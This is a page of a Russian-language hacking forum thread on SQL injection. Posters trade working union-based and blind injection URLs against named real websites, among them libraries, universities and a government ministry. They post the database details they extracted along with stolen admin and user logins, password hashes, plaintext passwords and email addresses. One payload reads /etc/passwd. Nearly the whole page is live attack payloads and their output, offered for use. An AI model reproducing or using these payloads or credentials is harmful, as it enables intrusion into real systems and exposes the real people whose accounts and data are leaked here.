SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 442 of 798
  1. hitt 1g

    hitt 1g Member

    Joined:
    14 Apr 2009
    Messages:
    21
    Likes Received:
    6
    Reputations:
    0
    DB Version: 4.1.22-standard
    DB Name: buyersfr_buyfr
    DB User: buyersfr_bobby12@localhost

    Admin data: merchant:venice

    DB Version: 5.0.51a-24
    DB Name: diego
    DB User: diego@localhost

    Admin data:
    icue:*3E9B21C7319E502A3A639A3B26D4384DF1D319B3
    x_x_fabiano:*7CB3910B2B51960AAD603627885284A71C9FD148
    leo:*32240CB0851DF159A009865793086FA663A007D4

    DB Version: 5.0.26-log
    DB Name: phonostar_global_db
    DB User: pscollector@localhost

    DB Version: 5.0.21-community-nt
    DB Name: cpc
    DB User: cedarpark@localhost

    Admin data: Nathan:[email protected]:81dc9bdb52d04dc20036dbd8313ed055

    DB Version: 5.0.67-log
    DB Name: zonapunk
    DB User: [email protected]

    Admin data:
    ayw:e10adc3949ba59abbe56e057f20f883e:[email protected]
    paregonta:e10adc3949ba59abbe56e057f20f883e:[email protected]
    wlad:1f40d69f9ba61d4f960d7ae837d62c3c:[email protected]
     
    #8821 hitt 1g, 16 Apr 2009
    Last edited: 16 Apr 2009
    2 people like this.
  2. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    909
    Reputations:
    863
    Решил освоить скуль и вот мой первый результат:
    DATABASE():biblfil
    USER():filfak@localhost
    VERSION():4.0.27-log
     
    _________________________
    #8822 winstrool, 16 Apr 2009
    2 people like this.
  3. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    Code:
    http://cmserver.org/library/cat/sex.php?id=-74+union+selecT+1,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),5,6,7,8,9,0,1--
    db: 4.1.22-log
    n_db: db_doctor_4
    user: [email protected]
    os: slackware-linux-gnu
    Code:
    http://cmserver.org/admin/ -бейсик авторизация
     
    #8823 farex, 16 Apr 2009
    1 person likes this.
  4. hitt 1g

    hitt 1g Member

    Joined:
    14 Apr 2009
    Messages:
    21
    Likes Received:
    6
    Reputations:
    0
    DB Version: 5.0.22-log
    DB Name: CFB_web
    DB User: [email protected]

    Admin data: jmangin:baaec204688ead3ce9528dc716ed4d7a

    DB Version: 5.0.67-log
    DB Name: isss
    DB User: iepadmin@localhost

    Admin data: rwsadmin:3a2ca2e1b235eed006a935cadb90227f

    DB Version: 5.0.22-standard
    DB Name: calendarexpress
    DB User: admin@localhost

    Admin data: admin:44f55fe518eb4f59f63642c738481d61
     
    #8824 hitt 1g, 16 Apr 2009
    1 person likes this.
  5. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Студия "Web-техника", основанная в 2003 году, специализируется на разработке Интернет-сайтов

    Code:
    http://webtechnics.ru/page.php?id=-2'+union+select+1,concat(uname,0x3a,passwd),3+from+geodis_users--+
    Админка:

    Code:
    http://webtechnics.ru/admin.php
     
    #8825 R1dex, 16 Apr 2009
    2 people like this.
  6. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.megara.org/cat.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13

    Database Version: 5.0.67-log
    Database name: megara
    User name: [email protected]


    http://www.megara.org/cat.php?id=-1+UNION+SELECT+1,load_file(%27/etc/passwd%27),3,4,5,6,7,8,9,10,11,12,13

    http://www.mgutheses.org/cat.php?id=38+UNION+SELECT+11111111+LIMIT+1,1/*

    Database Version: 5.0.45
    Database name: anwar_mgu
    User name: anwar_mgu@localhost
     
    #8826 Rubaka, 16 Apr 2009
    Last edited: 16 Apr 2009
    1 person likes this.
  7. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Information Architecture Institute>>
    Code:
    http://iainstitute.org/library/subjectPage.php?id=-12+union+select+unhex(hex(concat_ws(0x3a,version(),database(),user(),@@version_compile_os)))--+
    db: 4.1.16-standard-log
    n_db: aifia_library
    user: [email protected]
    os: pc-linux-gnu
     
    #8827 farex, 16 Apr 2009
  8. Calcutta

    Calcutta Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    343
    Likes Received:
    243
    Reputations:
    36
    http://doitwithflair.ca/index.php?page_id=28+and+substring(version(),1,1)=4
    http://scrd.ca/index.php?page_id=359+and+substring(version(),1,1)=5
     
    #8828 Calcutta, 16 Apr 2009
    Last edited by a moderator: 16 Apr 2009
    1 person likes this.
  9. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Niobrara County Library>>
    Code:
    http://www.niobraracountylibrary.org/history/index.php?id=-31'+union+select+unhex(hex(concat_ws(0x3a3a3a,version(),database(),user(),@@version_compile_os))),2,3,4,5,6,7,8--+
    4.1.16-standard-log:::library:::[email protected]:::pc-linux-gnu
    ------------------------------
    ------------------------------
    sql - blind
    <<About the James A. Gibson Library, Brock University>>
    Code:
    http://www.library.brocku.ca/subres/guide.php?id=14+and+ascii(substring(version(),1,1))=53--+
    db: 5 ....
    n_db: library
    user: library@localhost
     
    #8829 farex, 16 Apr 2009
  10. BHYCHIK

    BHYCHIK Member

    Joined:
    30 Jan 2009
    Messages:
    52
    Likes Received:
    28
    Reputations:
    9
    http://www.scaune-ergonomice.ro уязвим для SQL-injection.

    Вот список пользователей.
    http://www.scaune-ergonomice.ro/birou.php
    ?id=2+and+0+union+select+1,2,concat_ws(0x3a,email,parola),4,5,6,
    7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
    +from+users+limit+1,1+--+

    Есть конфликты с кодировкой, решаются через cast. Например:
    http://www.scaune-ergonomice.ro/birou.php
    ?id=2+and+0+union+select+1,2,cast(version()+as+binary),4,5,6,
    7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
    +from+users+limit+1,1+--+

    Версия: 4.1.11
    Имя базы: eurofoto_scaune
    Имя пользователя: scaun@localhost

    Доступа к таблице mysql.user нет.
     
    #8830 BHYCHIK, 17 Apr 2009
    Last edited: 17 Apr 2009
    2 people like this.
  11. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    5.0.45:sexiz:morrr@localhost
     
    #8831 попугай, 17 Apr 2009
    1 person likes this.
  12. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Greenroofs.com Projects>>

    Code:
    http://www.greenroofs.com/projects/pview.php?id=-29+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8--+
    4.0.27-standard::::db207579874::::dbo207579874@localhost::::pc-linux-gnu
     
    #8832 farex, 17 Apr 2009
  13. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Еврейская информационная служба

    Code:
    http://www.jewnet.ru/newslines/?profile_id=-14)+union+select+1,2,3,concat(table_name,0x3a,table_rows,0x3a,table_schema),5,6+from+information_schema.tables+limit+17,100--+&action=search
    Радиевый институт им. В.Г.Хлопина

    Code:
    http://www.khlopin.ru/view_event?id=-15+union+select+1,2,3,4,5,table_name,7,8,9,0+from+information_schema.tables+limit+17,1--
     
    #8833 R1dex, 17 Apr 2009
    1 person likes this.
  14. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    GOV
    Version: 5.0.45
    User: apache@localhost
    Dbname: PostdocPortalSPT

    File_priv=Y
     
    #8834 $n@ke, 17 Apr 2009
    1 person likes this.
  15. hitt 1g

    hitt 1g Member

    Joined:
    14 Apr 2009
    Messages:
    21
    Likes Received:
    6
    Reputations:
    0
    DB Version: 5.0.51a-log
    DB Name: sabpaorg_main
    DB User: [email protected]
    PR: 5​

    Admin data: Yuerong:ronzhu:[email protected]

    DB Version: 5.0.32-Debian_7etch5-log
    DB Name: thalive
    DB User: root@localhost

    MySQL Admin data: root:*93557E6B71D093D803CBAC890F5A2A0877DA8729

    PR: 4​

    DB Version: 4.1.12
    DB Name: wirereleases
    DB User: [email protected]

    PR: 6​

    DB Version: 5.0.27-log
    DB Name: test
    DB User: atty@localhost

    Admin data: ruth catlow:382a9bb65e35773a:[email protected]

    PR: 5​

    DB Version: 5.0.67-community
    DB Name: massn2_mnpo
    DB User: massn2_Brook3@localhost

    Admin data:
    Steve Childs:almond:[email protected]
    Dr Dave:jgfftsvd:[email protected]

    PR: 4​
     
    #8835 hitt 1g, 17 Apr 2009
    1 person likes this.
  16. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    << Casual Life - жизнь в стиле casual >>
    Code:
    http://www.casualife.ru/index.php?act=article&id=-415+union+select+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6,7,8,9,0,1,2--+
    4.1.22-log:::casuali4_debug:::casuali4_casuali@localhost:::portbld-freebsd6.1

    table: users
    column:?
    ----------------------------------
    ----------------------------------
    <<Фан клуб группа "Звери">>
    Code:
    http://www.33hochu.ru/fanclub_gallery_view.php?id_club=3987+union+select+1,column_name,3,4+from+information_schema.columns+where+table_name=char(117,115,101,114,115)/*
    5.0.32-Debian_7etch8-log:::33h:::33h@localhost::::pc-linux-gnu

    table: users
    db: passtest
    kiss34:c8b2f17833a4c73bb20f88876219ddcd
    ------------------------------------
    ------------------------------------
    <<Николаевский Бозаръ>>
    Code:
    http://old.bazar.nikolaev.ua/print.php?id=-356+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),8,9,0,1,2,3,4,5--+
    4.1.22-log:::bazar_old:::bazar_old@apollo:::portbld-freebsd6.2
     
    #8836 farex, 17 Apr 2009
    1 person likes this.
  17. fker

    fker Member

    Joined:
    26 Nov 2008
    Messages:
    135
    Likes Received:
    64
    Reputations:
    -1
    webylon cms v 2.5 (sql)

    Уязвимы скрипты:
    bigimg.cgi
    Сайт фирмы разработчака cms(pr3):
    Code:
    http://www.webylon.ru/bigimg.cgi?id=-65+union+select+version(),2,3--
    Комп сервис(pr4):
    Code:
    http://www.pcs.ru/bigimg.cgi?id=-1+union+select+version(),2,2--
    Государственный комитет РК по энергетике и регулированию тарифов(pr4)
    Code:
    http://rekrk.ru/bigimg.cgi?id=-1+union+select+version(),2,2--
    Министерство здравоохранения респ карелия:
    Code:
    http://mzsocial-rk.ru/bigimg.cgi?id=-1+union+select+version(),2,2--
    и так далее, ок десятка сайтов...
    place.cgi
    Code:
    http://nordfoto.ru/cgi/place.cgi?id=999+union+select+1,2,version()--
    bigimg_galery.cgi(вывод смотреть в исходнике страницы)
    Ассоциация защиты информации(pr4):
    Code:
    http://www.azi.ru/bigimg_galery.cgi?id=9999+union+select+version(),2,3,9--
    и т.д. около 60 сайтов.

    Вот такие шаблонные сайты предлогает фирма Mediaweb купить от 3к рублей =(
    зы: интересная табличка SITE_ADMINS, и админка сама должна быть интересная ; ) с возможностью правки скриптов, как сообщяет саппорт, но ее я не нашел(сообщите плз есль кто найдет)
    The end.
     
    #8837 fker, 17 Apr 2009
    4 people like this.
  18. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://liveoaks.lsu.edu/info/details.php?zone=fr&id=-24'+union+select+1,2,user,password,5,6,7,8,9,10,11,12+from+mysql.user/*

    root::5edf35344cf0a863

    http://www.euroexpress.org/recent_developments.php?section_id=-2'+union+select+1,2,3,concat_ws(0x3a3a,user_login,user_passwd),5,6,7,8,9,10,11,12,13+from+users/*
    cmradmin::ÿ"›-ï}cc
     
    #8838 DezMond™, 17 Apr 2009
  19. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Управленчиский портал "Managerial.ru">>
    Code:
    http://managerial.ru/news.php?id=102+union+select+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6--+
    4.0.27-max-log:::julia417:::[email protected]:::unknown-freebsd4.7
    -=admin=-
    login: admin
    pass: 9827Q59h

    -=users=-
    Привалова Юлия Витальевна:3uKcZJS
    Simplesitetester igor k:BqFdd6z
    Simple vacancy maker:QywV9rc
    Диденко Юлия Викторовна:KNDMP0R?
    Шелегов Константин Анатольевич:caxE6rP
    Усова Юлия Владимировна:9YhBCJs
    Никонорова Елена Михайловна:sq4dssF
    ------------------------------------------
    ------------------------------------------
    Code:
    http://www.detfond.org/news.php?id=-2008080803'+union+select+1,2,3,concat(version(),0x3a3a,database(),0x3a3a,user(),0x33aa,@@version_compile_os),5,6,7,8,9--+
    5.0.27::detfond::detfond@localhost3?redhat-linux-gnu
    Code:
    http://www.detfond.org/admin/
    information_schema - It is closed
     
    #8839 farex, 17 Apr 2009
    Last edited: 17 Apr 2009
  20. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    ПР4
    Code:
    http://www.thaihomemaster.com/webboard-readtopic.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11
    thaihomema_root@localhost:thaihomema_home:5.0.41-community-log

    PR3
    Code:
    http://www.carolverret.net/viral/readtopic.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8
    carol@localhost:carol:5.0.77
    Давненько меня тут небыло.

    Code:
    http://www.saurusreptiles.com/readtopic.php?category=Crested%20Gecko&tablename=crestedgecko_2&oldtablename=crestedgecko&code=-1+union+select+concat_ws(0x3a,user(),database(),version()),2,3,4,5
    [email protected]:saurusreptiles:4.1.22-max-log

    Code:
    http://www.nicodepaola.it/topicRead.php?topic=5&id_topic=1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6
    [email protected]:NDP_DB:5.0.68
     
    #8840 mailbrush, 17 Apr 2009
    Last edited: 17 Apr 2009
    1 person likes this.
(You must log in or sign up to post here.)
Page 442 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.